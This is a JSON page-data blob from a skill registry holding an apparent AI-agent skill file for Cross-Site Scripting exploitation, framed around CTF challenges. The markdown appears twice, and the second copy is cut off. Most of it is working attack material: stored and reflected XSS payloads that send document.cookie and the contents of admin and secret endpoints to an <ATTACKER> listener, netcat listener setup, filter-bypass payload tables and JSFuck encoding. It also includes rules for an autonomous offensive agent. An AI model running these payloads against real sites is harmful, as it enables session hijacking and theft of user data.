[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798AFKM93B66BCADZQ6J8EW":3,"skill-same:01M798AFKM93B66BCADZQ6J8EW":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M798AFKM93B66BCADZQ6J8EW","xss",null,"Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fxss\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: xss\ndescription: \"Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"xss, cross-site scripting, reflected xss, stored xss, dom xss, javascript injection, cookie steal, script injection, Cross, cross site, alert, onerror, onload, img src, svg onload, bot visit, report url, admin cookie, session hijack, csp bypass, html injection\"\n  tags: web-application, xss, injection, client-side, cross-site-scripting\n  mitre_attack: T1189, T1059.007\n---\n\n# Cross-Site Scripting (XSS) Exploitation\n\nExploits insufficient input\u002Foutput sanitization to execute JavaScript in a victim's browser context.\n\n## Win Condition — Identify FIRST\n\n**Pattern A — Bot\u002FCookie Chain** (classic CTF):\n- A headless browser bot visits a URL you supply via `\u002Freport` or `\u002Fcontact`\n- Goal: exfiltrate `document.cookie` or admin page content to your listener\n- Signals: `\u002Freport` endpoint exists, challenge mentions \"admin visits\", cookie in session\n\n**Pattern B — Server-Side Alert Trigger** (Cross 30\u002F31\u002F32 series):\n- NO bot, NO cookie exfiltration, NO `\u002Freport` endpoint (returns 404)\n- The challenge evaluates reflected JS server-side; `alert(\"XSS\")` or `alert(1)` in the response = flag\n- Flag appears directly in the HTTP response body when alert triggers\n- Signals: challenge name contains \"Cross\", filter says \"Sorry, you can't use that tag\", `new_umbrella` \u002F `error_umbrella` in response, alphanumeric filter active\n- Do NOT: start listeners, look for \u002Freport, try document.cookie (setter is frozen — TypeError)\n\n**Quick check which pattern:**\n```bash\ncurl -s \"$TARGET\u002Freport\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"  # 404 = Pattern B (Cross)\ncurl -s \"$TARGET\u002F\" | grep -i \"report\\|bot\\|admin\"        # Pattern A signals\n```\n\n## Detection\n```bash\n# Reflected XSS probe — check if input is reflected unescaped\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=\u003Cscript>alert(1)\u003C\u002Fscript>' | grep -i '\u003Cscript>alert(1)'\n\n# Check for reflection in different contexts\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=xss\"test' | grep 'xss\"test'        # attribute context\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=xss'\"'\"'test' | grep \"xss'test\"    # JS string context\n\n# Test attribute injection\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?name=test\"onmouseover=\"alert(1)' | grep 'onmouseover'\n\n# Test common input fields via POST\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cimg src=x onerror=alert(1)>'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fregister' -d 'username=\u003Cscript>alert(1)\u003C\u002Fscript>&password=test'\n```\n\n## Stored XSS with Bot Exfiltration (CTF Pattern)\n\nThe standard CTF XSS workflow:\n1. Find a stored input (comments, profiles, messages)\n2. Inject a payload that exfiltrates data when the admin bot views it\n3. Trigger the bot (usually a `\u002Freport` endpoint)\n4. Receive exfiltrated flag on your listener\n\n```bash\n# 1. Start a listener to receive exfiltrated data\npython3 -m http.server 8888 &\n# Or use netcat:\nnc -lvnp 8888 &\n\n# 2. Inject stored XSS that exfiltrates cookies\n# Basic cookie steal\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cscript>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=\"+document.cookie)\u003C\u002Fscript>'\n\n# Image tag (bypasses many filters that block \u003Cscript>)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cimg src=x onerror=\"fetch(`http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=${document.cookie}`)\">'\n\n# SVG-based\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Csvg onload=\"fetch(`http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=${document.cookie}`)\">'\n\n# Fetch admin page content and exfiltrate\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cscript>fetch(\"\u002Fadmin\").then(r=>r.text()).then(t=>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?d=\"+btoa(t)))\u003C\u002Fscript>'\n\n# Fetch sensitive endpoint directly (adjust path to observed app structure)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cscript>fetch(\"\u002Fapi\u002Fsecret\").then(r=>r.text()).then(t=>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?f=\"+btoa(t)))\u003C\u002Fscript>'\n\n# 3. Trigger the bot to visit the page with injected XSS\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Freport' -d 'url=http:\u002F\u002F\u003CTARGET>\u002Fpage-with-stored-xss'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Freport' -d 'url=\u002Fpage-with-stored-xss'\n\n# 4. Check listener output — decode base64 if used\necho '\u003Cbase64_response>' | base64 -d\n```\n\n## Reflected XSS Flag Extraction\n```bash\n# If the flag is in the admin's cookie and there's a report\u002Fvisit endpoint:\n# Craft URL with reflected XSS that steals cookies\nPAYLOAD='\u003Cscript>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=\"+document.cookie)\u003C\u002Fscript>'\nENCODED=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Freport\" -d \"url=http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=$ENCODED\"\n```\n\n## Filter Bypass Techniques\n```bash\n# Case variation\n\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n\u003CIMG SRC=x OnErRoR=alert(1)>\n\n# No parentheses\n\u003Cimg src=x onerror=\"alert`1`\">\n\u003Cimg src=x onerror=\"window['alert'](1)\">\n\n# No quotes \u002F no spaces\n\u003Cimg\u002Fsrc=x\u002Fonerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\n# HTML entity encoding bypass\n\u003Cimg src=x onerror=\"&#97;&#108;&#101;&#114;&#116;(1)\">\n\n# JavaScript URL scheme\n\u003Ca href=\"javascript:alert(1)\">click\u003C\u002Fa>\n\u003Ciframe src=\"javascript:alert(1)\">\n\n# Event handlers (bypass \u003Cscript> tag blocks)\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Csvg onload=alert(1)>\n\n# Template literal + fetch (modern, avoids quotes)\n\u003Cimg src=x onerror=fetch(`http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=${document.cookie}`)>\n\n# Double encoding (if server decodes twice)\n%253Cscript%253Ealert(1)%253C\u002Fscript%253E\n\n# If angle brackets blocked — inject into existing JS context\n';alert(1);\u002F\u002F\n\"-alert(1)-\"\n```\n\n## XSS to Flag — Complete CTF Workflow\n1. **Identify injection point** — test all inputs for unescaped reflection\n2. **Determine context** — HTML body, attribute, JS string, URL?\n3. **Craft payload for context** — use appropriate escape\u002Finjection\n4. **Check for bot\u002Freport endpoint** — `\u002Freport`, `\u002Fadmin\u002Fvisit`, `\u002Fcontact`\n5. **Set up exfil listener** — `python3 -m http.server` or `nc -lvnp`\n6. **Inject + trigger bot** — store payload, then report URL to bot\n7. **Check listener** — decode response, extract flag\n8. **Common flag locations** — admin cookies, `\u002Fadmin` page, `\u002F.env` endpoint, DOM elements\n\n## Cross-Series Budget Cap (MANDATORY for Cross N challenges)\n\nWhen the challenge name is \"Cross N\" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no `\u002Freport`, filter active):\n\n**Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:**\n1. Try 3 event-handler variants (`\u003Cinput onfocus=alert(\"XSS\") autofocus>`, `\u003Cdetails open ontoggle=alert(\"XSS\")>`, `\u003Csvg\u002Fonload=alert(\"XSS\")>`)\n2. Try 1 JSFuck encode (`JSFuck.encode('alert(\"XSS\")', false, true)`)\n3. Try 1 partial-range bypass (z\u002FZ char if angle-bracket filter suspected)\n\nIf none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write `exploit\u002FCONVERGED.md` with what was tried, then return to orchestrator with \"Filter not bypassed in 5 attempts — needs specialist analysis\".\n\n**Anti-pattern**: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.\n\n## JSFuck — Alphanumeric Filter Bypass\n\nUse when: alphanumeric chars are blocked but `[]()!+` pass through (Pattern B \u002F Cross series).\n\n```bash\n# Install jsfuck locally (node is pre-installed in sandbox)\nnpm install jsfuck 2>\u002Fdev\u002Fnull\n\n# Encode with runInParentScope=true (uses eval, avoids Function constructor)\nnode -e \"\nconst {JSFuck} = require('.\u002Fnode_modules\u002Fjsfuck\u002Fjsfuck.js');\nconst payload = JSFuck.encode('alert(\\\"XSS\\\")', false, true);\nconsole.log(payload);\n\" > \u002Ftmp\u002Fpayload.txt\n\n# Verify payload has zero alphanumeric chars\nnode -e \"const p=require('fs').readFileSync('\u002Ftmp\u002Fpayload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(\u002F[^a-zA-Z0-9]\u002Fg,'').length)\"\n\n# Submit via curl, grep for flag in response\nPAYLOAD=$(cat \u002Ftmp\u002Fpayload.txt)\ncurl -sg \"$TARGET\u002Fpage?name=${PAYLOAD}\" | grep -i \"flag\\|new_umbrella\\|alert\"\n```\n\n**Function-constructor TypeError fallback:**\nIf server returns `TypeError: Attempting to change the setter of an unconfigurable property`, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode \u002F hardened sandboxes.\n\nFix: use `runInParentScope=true` (third argument) — switches from Function constructor to `eval()` injection:\n```bash\n# Default (broken in strict sandboxes): JSFuck.encode(str, false, false)  \u003C- Function constructor\n# Fixed:                                JSFuck.encode(str, false, true)   \u003C- eval injection\nnode -e \"const {JSFuck}=require('.\u002Fnode_modules\u002Fjsfuck\u002Fjsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))\"\n```\n\nIf `runInParentScope=true` still fails, try raw eval wrapping:\n```bash\n# Encode just the string 'alert(\"XSS\")' then wrap in eval manually\nnode -e \"const {JSFuck}=require('.\u002Fnode_modules\u002Fjsfuck\u002Fjsfuck.js'); const s=JSFuck.encode('\\\"alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")\\\"',false,true); console.log('eval('+s+')')\"\n```\n\n## Cross Challenge Pattern (No Bot \u002F No Cookie)\n\nWin condition: server-side JS evaluator detects `alert()` call in reflected input. No `\u002Freport` endpoint. No bot. No listener needed.\n\n```bash\n# Quick alphanumeric filter probe\ncurl -sg \"$TARGET\u002Fpage?name=abc\" | grep -i \"error_umbrella\\|sorry\\|blocked\"   # blocked = filter active\ncurl -sg \"$TARGET\u002Fpage?name=[]()!+\" | grep -i \"new_umbrella\\|ok\"              # specials pass = JSFuck viable\n\n# Inject and check response — success indicator appears in HTTP 200 body when alert triggers\ncurl -sg \"$TARGET\u002Fpage?name=$(cat \u002Ftmp\u002Fpayload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')\" | grep -i \"new_umbrella\\|success\\|alert\\|xss\"\n```\n\nDo NOT waste time on:\n- `\u002Freport`, `\u002Fcontact`, `\u002Fvisit` endpoints (404 on Cross challenges)\n- `python3 -m http.server` listeners (no bot will callback)\n- `document.cookie` exfiltration (cookie setter is frozen — signals Pattern B environment)\n\n## Partial-Range Tag Filter Bypass\n\nSome Cross challenges (e.g., filter-bypass example) use a regex like `\u003C[a-yA-Y\u002F]+` that blocks `\u003C` followed by letters a–y \u002F A–Y but excludes z\u002FZ. Probe and bypass:\n\n```bash\n# Probe whether tag-name first char escapes the filter\ncurl -sg \"$TARGET\u002Fpage?name=\u003Ca>\"     | grep -i \"sorry\"   # likely blocked (a in range)\ncurl -sg \"$TARGET\u002Fpage?name=\u003Cz>\"     | grep -i \"sorry\"   # not blocked = z escapes\ncurl -sg \"$TARGET\u002Fpage?name=\u003CZ>\"     | grep -i \"sorry\"   # check uppercase Z\ncurl -sg \"$TARGET\u002Fpage?name=\u003C img>\"  | grep -i \"sorry\"   # space after `\u003C` may bypass\n\n# Once a non-blocked first-char is found, build payload with valid HTML tag.\n# PhantomJS treats unknown tag names as elements; event handlers still fire on\n# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):\n#   \u003CZ onerror=alert(\"XSS\") src=x>\n#   \u003CZsvg onload=alert(\"XSS\")>\n# If unknown tags don't fire events, use `\u003Csvg\u002Fonload=...>` style with the\n# regex-escaping prefix in front: e.g. some filters with `+` quantifier let\n# `\u003C>` (zero letters) slip through followed by `\u003Csvg ...>` later in the same\n# attribute — test both placements.\n```\n\nKey insight: `re.findall` + `+` quantifier requires ≥1 matching char immediately after `\u003C`. Any first character outside the class (digits, whitespace, `z`\u002F`Z`, special chars) bypasses the regex entirely.\n\n## Filter Bypass Cookbook\n\nWhen basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:\n\n| Filter blocks | Bypass class | Example payloads |\n|---|---|---|\n| `\u003Cscript>` tag | Event handler on any element | `\u003Csvg onload=alert(1)>`, `\u003Cinput autofocus onfocus=alert(1)>`, `\u003Cdetails open ontoggle=alert(1)>` |\n| `alert` keyword | Property access \u002F obfuscation | `window['ale'+'rt'](1)`, `(()=>alert)()(1)`, `top[\u002Fal\u002F.source+\u002Fert\u002F.source](1)` |\n| Quotes `\"` and `'` | Template literals \u002F charcode | `` \u003Csvg onload=alert`1`> ``, `\u003Cimg src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>` |\n| `(` and `)` | Template literal call | `` \u003Csvg onload=alert`1`> ``, `` setTimeout`alert\\x281\\x29` `` |\n| `alert()` overridden by prototype | iframe srcdoc \u002F new window | `\u003Ciframe srcdoc=\"\u003Cscript>parent.alert(1)\u003C\u002Fscript>\">`, `\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>` |\n| Tag whitelist (specific tags only) | Style\u002FCSS injection | `\u003Cdiv style=\"background:url('javascript:alert(1)')\">` |\n| Angle brackets `\u003C` `>` | Inject into existing JS context | `';alert(1);\u002F\u002F`, `\"-alert(1)-\"`, `\\`;alert(1);\u002F\u002F` |\n| Prototype chain hardened | Direct assignment | `Object.prototype.toString=alert` |\n\n**Pivot rule**: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.\n\n## Bypass-Class Rotation Rule\n\nThe pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.\n\n**Track classes in `exploit\u002Fxss_classes.txt`**:\n\n```bash\n# Before each payload attempt\nCLASS=\"event-handler\"   # name of bypass class for this payload\nNTRIED=$(grep -c \"^${CLASS}$\" exploit\u002Fxss_classes.txt 2>\u002Fdev\u002Fnull || echo 0)\nif [ \"$NTRIED\" -ge 2 ]; then\n  echo \"SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class\"\nelse\n  echo \"${CLASS}\" >> exploit\u002Fxss_classes.txt\n  # ... craft and send payload ...\nfi\n```\n\n**Bypass classes to rotate among (try at least 4 per endpoint)**:\n\n| # | Class name | Representative payloads |\n|---|---|---|\n| 1 | `tag-based` | `\u003Cscript>`, `\u003Csvg>`, `\u003Cimg onerror=>` |\n| 2 | `event-handler` | `onload`, `onerror`, `onfocus autofocus`, `ontoggle` |\n| 3 | `javascript-url` | `\u003Ca href=\"javascript:...\">`, `\u003Ciframe src=\"javascript:...\">` |\n| 4 | `template-literal` | `` alert`1` ``, `String.fromCharCode(...)`, hex\u002Funicode escapes |\n| 5 | `iframe-srcdoc` | `\u003Ciframe srcdoc=\"\u003Cscript>parent.alert(1)\u003C\u002Fscript>\">` |\n| 6 | `css-style` | `\u003Cdiv style=\"background:url('javascript:...')\">`, `expression(...)` |\n| 7 | `js-context-inject` | `';alert(1);\u002F\u002F`, `\"-alert(1)-\"`, inject into existing script block |\n| 8 | `prototype-abuse` | `Object.prototype.toString=alert`, DOM clobbering |\n\n**Why class-diversity beats deeper iteration**: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.\n\n**HARD RULE**: If `exploit\u002Fxss_classes.txt` shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write `exploit\u002FCONVERGED.md` and return to orchestrator.\n\n## Tools\n| Tool | Purpose |\n|------|---------|\n| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |\n| nc -lvnp | Netcat listener for raw data (Pattern A only) |\n| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |\n| XSStrike | Automated XSS detection with WAF bypass |\n","# Cross-Site Scripting (XSS) Exploitation\n\nExploits insufficient input\u002Foutput sanitization to execute JavaScript in a victim's browser context.\n\n## Win Condition — Identify FIRST\n\n**Pattern A — Bot\u002FCookie Chain** (classic CTF):\n- A headless browser bot visits a URL you supply via `\u002Freport` or `\u002Fcontact`\n- Goal: exfiltrate `document.cookie` or admin page content to your listener\n- Signals: `\u002Freport` endpoint exists, challenge mentions \"admin visits\", cookie in session\n\n**Pattern B — Server-Side Alert Trigger** (Cross 30\u002F31\u002F32 series):\n- NO bot, NO cookie exfiltration, NO `\u002Freport` endpoint (returns 404)\n- The challenge evaluates reflected JS server-side; `alert(\"XSS\")` or `alert(1)` in the response = flag\n- Flag appears directly in the HTTP response body when alert triggers\n- Signals: challenge name contains \"Cross\", filter says \"Sorry, you can't use that tag\", `new_umbrella` \u002F `error_umbrella` in response, alphanumeric filter active\n- Do NOT: start listeners, look for \u002Freport, try document.cookie (setter is frozen — TypeError)\n\n**Quick check which pattern:**\n```bash\ncurl -s \"$TARGET\u002Freport\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"  # 404 = Pattern B (Cross)\ncurl -s \"$TARGET\u002F\" | grep -i \"report\\|bot\\|admin\"        # Pattern A signals\n```\n\n## Detection\n```bash\n# Reflected XSS probe — check if input is reflected unescaped\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=\u003Cscript>alert(1)\u003C\u002Fscript>' | grep -i '\u003Cscript>alert(1)'\n\n# Check for reflection in different contexts\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=xss\"test' | grep 'xss\"test'        # attribute context\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=xss'\"'\"'test' | grep \"xss'test\"    # JS string context\n\n# Test attribute injection\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?name=test\"onmouseover=\"alert(1)' | grep 'onmouseover'\n\n# Test common input fields via POST\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cimg src=x onerror=alert(1)>'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fregister' -d 'username=\u003Cscript>alert(1)\u003C\u002Fscript>&password=test'\n```\n\n## Stored XSS with Bot Exfiltration (CTF Pattern)\n\nThe standard CTF XSS workflow:\n1. Find a stored input (comments, profiles, messages)\n2. Inject a payload that exfiltrates data when the admin bot views it\n3. Trigger the bot (usually a `\u002Freport` endpoint)\n4. Receive exfiltrated flag on your listener\n\n```bash\n# 1. Start a listener to receive exfiltrated data\npython3 -m http.server 8888 &\n# Or use netcat:\nnc -lvnp 8888 &\n\n# 2. Inject stored XSS that exfiltrates cookies\n# Basic cookie steal\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cscript>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=\"+document.cookie)\u003C\u002Fscript>'\n\n# Image tag (bypasses many filters that block \u003Cscript>)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cimg src=x onerror=\"fetch(`http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=${document.cookie}`)\">'\n\n# SVG-based\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Csvg onload=\"fetch(`http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=${document.cookie}`)\">'\n\n# Fetch admin page content and exfiltrate\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cscript>fetch(\"\u002Fadmin\").then(r=>r.text()).then(t=>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?d=\"+btoa(t)))\u003C\u002Fscript>'\n\n# Fetch sensitive endpoint directly (adjust path to observed app structure)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fcomment' -d 'body=\u003Cscript>fetch(\"\u002Fapi\u002Fsecret\").then(r=>r.text()).then(t=>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?f=\"+btoa(t)))\u003C\u002Fscript>'\n\n# 3. Trigger the bot to visit the page with injected XSS\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Freport' -d 'url=http:\u002F\u002F\u003CTARGET>\u002Fpage-with-stored-xss'\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Freport' -d 'url=\u002Fpage-with-stored-xss'\n\n# 4. Check listener output — decode base64 if used\necho '\u003Cbase64_response>' | base64 -d\n```\n\n## Reflected XSS Flag Extraction\n```bash\n# If the flag is in the admin's cookie and there's a report\u002Fvisit endpoint:\n# Craft URL with reflected XSS that steals cookies\nPAYLOAD='\u003Cscript>fetch(\"http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=\"+document.cookie)\u003C\u002Fscript>'\nENCODED=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))\")\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Freport\" -d \"url=http:\u002F\u002F\u003CTARGET>\u002Fsearch?q=$ENCODED\"\n```\n\n## Filter Bypass Techniques\n```bash\n# Case variation\n\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n\u003CIMG SRC=x OnErRoR=alert(1)>\n\n# No parentheses\n\u003Cimg src=x onerror=\"alert`1`\">\n\u003Cimg src=x onerror=\"window['alert'](1)\">\n\n# No quotes \u002F no spaces\n\u003Cimg\u002Fsrc=x\u002Fonerror=alert(1)>\n\u003Csvg\u002Fonload=alert(1)>\n\n# HTML entity encoding bypass\n\u003Cimg src=x onerror=\"&#97;&#108;&#101;&#114;&#116;(1)\">\n\n# JavaScript URL scheme\n\u003Ca href=\"javascript:alert(1)\">click\u003C\u002Fa>\n\u003Ciframe src=\"javascript:alert(1)\">\n\n# Event handlers (bypass \u003Cscript> tag blocks)\n\u003Cbody onload=alert(1)>\n\u003Cinput onfocus=alert(1) autofocus>\n\u003Cmarquee onstart=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n\u003Csvg onload=alert(1)>\n\n# Template literal + fetch (modern, avoids quotes)\n\u003Cimg src=x onerror=fetch(`http:\u002F\u002F\u003CATTACKER>:8888\u002F?c=${document.cookie}`)>\n\n# Double encoding (if server decodes twice)\n%253Cscript%253Ealert(1)%253C\u002Fscript%253E\n\n# If angle brackets blocked — inject into existing JS context\n';alert(1);\u002F\u002F\n\"-alert(1)-\"\n```\n\n## XSS to Flag — Complete CTF Workflow\n1. **Identify injection point** — test all inputs for unescaped reflection\n2. **Determine context** — HTML body, attribute, JS string, URL?\n3. **Craft payload for context** — use appropriate escape\u002Finjection\n4. **Check for bot\u002Freport endpoint** — `\u002Freport`, `\u002Fadmin\u002Fvisit`, `\u002Fcontact`\n5. **Set up exfil listener** — `python3 -m http.server` or `nc -lvnp`\n6. **Inject + trigger bot** — store payload, then report URL to bot\n7. **Check listener** — decode response, extract flag\n8. **Common flag locations** — admin cookies, `\u002Fadmin` page, `\u002F.env` endpoint, DOM elements\n\n## Cross-Series Budget Cap (MANDATORY for Cross N challenges)\n\nWhen the challenge name is \"Cross N\" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no `\u002Freport`, filter active):\n\n**Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:**\n1. Try 3 event-handler variants (`\u003Cinput onfocus=alert(\"XSS\") autofocus>`, `\u003Cdetails open ontoggle=alert(\"XSS\")>`, `\u003Csvg\u002Fonload=alert(\"XSS\")>`)\n2. Try 1 JSFuck encode (`JSFuck.encode('alert(\"XSS\")', false, true)`)\n3. Try 1 partial-range bypass (z\u002FZ char if angle-bracket filter suspected)\n\nIf none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write `exploit\u002FCONVERGED.md` with what was tried, then return to orchestrator with \"Filter not bypassed in 5 attempts — needs specialist analysis\".\n\n**Anti-pattern**: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.\n\n## JSFuck — Alphanumeric Filter Bypass\n\nUse when: alphanumeric chars are blocked but `[]()!+` pass through (Pattern B \u002F Cross series).\n\n```bash\n# Install jsfuck locally (node is pre-installed in sandbox)\nnpm install jsfuck 2>\u002Fdev\u002Fnull\n\n# Encode with runInParentScope=true (uses eval, avoids Function constructor)\nnode -e \"\nconst {JSFuck} = require('.\u002Fnode_modules\u002Fjsfuck\u002Fjsfuck.js');\nconst payload = JSFuck.encode('alert(\\\"XSS\\\")', false, true);\nconsole.log(payload);\n\" > \u002Ftmp\u002Fpayload.txt\n\n# Verify payload has zero alphanumeric chars\nnode -e \"const p=require('fs').readFileSync('\u002Ftmp\u002Fpayload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(\u002F[^a-zA-Z0-9]\u002Fg,'').length)\"\n\n# Submit via curl, grep for flag in response\nPAYLOAD=$(cat \u002Ftmp\u002Fpayload.txt)\ncurl -sg \"$TARGET\u002Fpage?name=${PAYLOAD}\" | grep -i \"flag\\|new_umbrella\\|alert\"\n```\n\n**Function-constructor TypeError fallback:**\nIf server returns `TypeError: Attempting to change the setter of an unconfigurable property`, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode \u002F hardened sandboxes.\n\nFix: use `runInParentScope=true` (third argument) — switches from Function constructor to `eval()` injection:\n```bash\n# Default (broken in strict sandboxes): JSFuck.encode(str, false, false)  \u003C- Function constructor\n# Fixed:                                JSFuck.encode(str, false, true)   \u003C- eval injection\nnode -e \"const {JSFuck}=require('.\u002Fnode_modules\u002Fjsfuck\u002Fjsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))\"\n```\n\nIf `runInParentScope=true` still fails, try raw eval wrapping:\n```bash\n# Encode just the string 'alert(\"XSS\")' then wrap in eval manually\nnode -e \"const {JSFuck}=require('.\u002Fnode_modules\u002Fjsfuck\u002Fjsfuck.js'); const s=JSFuck.encode('\\\"alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")\\\"',false,true); console.log('eval('+s+')')\"\n```\n\n## Cross Challenge Pattern (No Bot \u002F No Cookie)\n\nWin condition: server-side JS evaluator detects `alert()` call in reflected input. No `\u002Freport` endpoint. No bot. No listener needed.\n\n```bash\n# Quick alphanumeric filter probe\ncurl -sg \"$TARGET\u002Fpage?name=abc\" | grep -i \"error_umbrella\\|sorry\\|blocked\"   # blocked = filter active\ncurl -sg \"$TARGET\u002Fpage?name=[]()!+\" | grep -i \"new_umbrella\\|ok\"              # specials pass = JSFuck viable\n\n# Inject and check response — success indicator appears in HTTP 200 body when alert triggers\ncurl -sg \"$TARGET\u002Fpage?name=$(cat \u002Ftmp\u002Fpayload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')\" | grep -i \"new_umbrella\\|success\\|alert\\|xss\"\n```\n\nDo NOT waste time on:\n- 